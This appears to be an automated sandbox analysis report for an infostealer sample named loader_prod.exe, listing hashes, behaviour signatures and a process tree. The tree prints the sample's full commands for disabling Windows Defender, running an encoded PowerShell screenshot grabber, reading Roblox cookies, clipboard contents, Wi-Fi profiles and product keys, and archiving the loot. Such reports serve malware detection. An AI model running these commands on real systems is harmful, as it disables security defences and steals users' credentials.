Analysis

  • max time kernel
    150s
  • max time network
    114s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02-06-2024 01:25

General

  • Target

    loader_prod.exe

  • Size

    7.5MB

  • MD5

    3fe9fb97059d1f3d4f61fd831ccd98c7

  • SHA1

    d38de3dbf7aec2b2eea96fd8cb084aaf1733acf3

  • SHA256

    827f032a5e2b44686dbb657f2d9b6992539ac73eb08c5f02f449aab35423edc5

  • SHA512

    e8193418127a042e359d8548ae7158b980510c51622d904064254efcc1993cb540cd25fbccb7ac48f518e74874b88de1ac94c537131260b57df3294c78667e73

  • SSDEEP

    196608:Wrk/0cDeMgkLjv+bhqNVoBKUh8mz4Iv9Plu1D7AU:AieMpL+9qz8/b4IzuRAU

Malware Config

Signatures

  • Modifies visiblity of hidden/system files in Explorer 2 TTPs 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Executes dropped EXE 8 IoCs
  • Loads dropped DLL 17 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • UPX packed file 55 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 4 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Enumerates processes with tasklist 1 TTPs 3 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 34 IoCs
  • Suspicious use of SendNotifyMessage 34 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\loader_prod.exe
    "C:\Users\Admin\AppData\Local\Temp\loader_prod.exe"
    1⤵
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:116
    • \??\c:\users\admin\appdata\local\temp\loader_prod.exe 
      c:\users\admin\appdata\local\temp\loader_prod.exe 
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3496
      • \??\c:\users\admin\appdata\local\temp\loader_prod.exe 
        c:\users\admin\appdata\local\temp\loader_prod.exe 
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:3120
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'c:\users\admin\appdata\local\temp\loader_prod.exe '"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1488
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command Add-MpPreference -ExclusionPath 'c:\users\admin\appdata\local\temp\loader_prod.exe '
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1212
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2900
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3696
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Error 4562', 0, 'Error 4562', 32+16);close()""
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2080
          • C:\Windows\system32\mshta.exe
            mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Error 4562', 0, 'Error 4562', 32+16);close()"
            5⤵
              PID:1812
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:5108
            • C:\Windows\system32\tasklist.exe
              tasklist /FO LIST
              5⤵
              • Enumerates processes with tasklist
              • Suspicious use of AdjustPrivilegeToken
              PID:3264
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:868
            • C:\Windows\system32\tasklist.exe
              tasklist /FO LIST
              5⤵
              • Enumerates processes with tasklist
              • Suspicious use of AdjustPrivilegeToken
              PID:3528
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:948
            • C:\Windows\System32\Wbem\WMIC.exe
              WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:4816
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1312
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell Get-Clipboard
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3296
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:4432
            • C:\Windows\system32\tasklist.exe
              tasklist /FO LIST
              5⤵
              • Enumerates processes with tasklist
              • Suspicious use of AdjustPrivilegeToken
              PID:3740
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "tree /A /F"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:684
            • C:\Windows\system32\tree.com
              tree /A /F
              5⤵
                PID:4440
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:1208
              • C:\Windows\system32\netsh.exe
                netsh wlan show profile
                5⤵
                  PID:3788
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "systeminfo"
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:4408
                • C:\Windows\system32\systeminfo.exe
                  systeminfo
                  5⤵
                  • Gathers system information
                  PID:3692
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:3204
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                  5⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:2272
                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zfq32gyr\zfq32gyr.cmdline"
                    6⤵
                      PID:4336
                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES668A.tmp" "c:\Users\Admin\AppData\Local\Temp\zfq32gyr\CSCF12052DE8D48449DA075163C433D4A7.TMP"
                        7⤵
                          PID:4404
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4492
                    • C:\Windows\system32\tree.com
                      tree /A /F
                      5⤵
                        PID:2440
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                      4⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1652
                      • C:\Windows\system32\tree.com
                        tree /A /F
                        5⤵
                          PID:964
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                        4⤵
                          PID:1916
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                            5⤵
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:3896
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "tree /A /F"
                          4⤵
                            PID:2956
                            • C:\Windows\system32\tree.com
                              tree /A /F
                              5⤵
                                PID:472
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c "tree /A /F"
                              4⤵
                                PID:2044
                                • C:\Windows\system32\tree.com
                                  tree /A /F
                                  5⤵
                                    PID:3636
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                                  4⤵
                                    PID:1744
                                    • C:\Windows\system32\tree.com
                                      tree /A /F
                                      5⤵
                                        PID:1440
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                      4⤵
                                        PID:216
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                          5⤵
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:2148
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c "getmac"
                                        4⤵
                                          PID:4148
                                          • C:\Windows\system32\getmac.exe
                                            getmac
                                            5⤵
                                              PID:2424
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI34962\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\jTugs.zip" *"
                                            4⤵
                                              PID:1880
                                              • C:\Users\Admin\AppData\Local\Temp\_MEI34962\rar.exe
                                                C:\Users\Admin\AppData\Local\Temp\_MEI34962\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\jTugs.zip" *
                                                5⤵
                                                • Executes dropped EXE
                                                PID:4336
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                              4⤵
                                                PID:5028
                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                  wmic os get Caption
                                                  5⤵
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:2244
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                                4⤵
                                                  PID:2272
                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                    wmic computersystem get totalphysicalmemory
                                                    5⤵
                                                      PID:5036
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                    4⤵
                                                      PID:2172
                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                        wmic csproduct get uuid
                                                        5⤵
                                                          PID:3156
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                                        4⤵
                                                          PID:1884
                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                            5⤵
                                                            • Suspicious behavior: EnumeratesProcesses
                                                            PID:3028
                                                        • C:\Windows\system32\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                          4⤵
                                                            PID:2292
                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                              wmic path win32_VideoController get name
                                                              5⤵
                                                              • Detects videocard installed
                                                              PID:1036
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                                                            4⤵
                                                              PID:3584
                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                                                5⤵
                                                                • Suspicious behavior: EnumeratesProcesses
                                                                PID:936
                                                        • C:\Windows\Resources\Themes\icsys.icn.exe
                                                          C:\Windows\Resources\Themes\icsys.icn.exe
                                                          2⤵
                                                          • Executes dropped EXE
                                                          • Drops file in Windows directory
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          • Suspicious use of SetWindowsHookEx
                                                          PID:3636
                                                          • \??\c:\windows\resources\themes\explorer.exe
                                                            c:\windows\resources\themes\explorer.exe
                                                            3⤵
                                                            • Modifies visiblity of hidden/system files in Explorer
                                                            • Executes dropped EXE
                                                            • Adds Run key to start application
                                                            • Drops file in System32 directory
                                                            • Drops file in Windows directory
                                                            • Suspicious behavior: GetForegroundWindowSpam
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:1540
                                                            • \??\c:\windows\resources\spoolsv.exe
                                                              c:\windows\resources\spoolsv.exe SE
                                                              4⤵
                                                              • Executes dropped EXE
                                                              • Drops file in Windows directory
                                                              • Suspicious use of SetWindowsHookEx
                                                              PID:2544
                                                              • \??\c:\windows\resources\svchost.exe
                                                                c:\windows\resources\svchost.exe
                                                                5⤵
                                                                • Modifies visiblity of hidden/system files in Explorer
                                                                • Executes dropped EXE
                                                                • Adds Run key to start application
                                                                • Drops file in System32 directory
                                                                • Suspicious behavior: GetForegroundWindowSpam
                                                                • Suspicious use of SetWindowsHookEx
                                                                PID:2272
                                                                • \??\c:\windows\resources\spoolsv.exe
                                                                  c:\windows\resources\spoolsv.exe PR
                                                                  6⤵
                                                                  • Executes dropped EXE
                                                                  • Suspicious use of SetWindowsHookEx
                                                                  PID:2772
                                                      • C:\Windows\system32\BackgroundTaskHost.exe
                                                        "C:\Windows\system32\BackgroundTaskHost.exe" -ServerName:BackgroundTaskHost.WebAccountProvider
                                                        1⤵
                                                          PID:4148
                                                        • C:\Windows\system32\taskmgr.exe
                                                          "C:\Windows\system32\taskmgr.exe" /7
                                                          1⤵
                                                          • Checks SCSI registry key(s)
                                                          • Suspicious use of FindShellTrayWindow
                                                          • Suspicious use of SendNotifyMessage
                                                          PID:3028

                                                        Network

                                                        MITRE ATT&CK Enterprise v15

                                                        Replay Monitor

                                                        Loading Replay Monitor...

                                                        Downloads

                                                        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                          Filesize

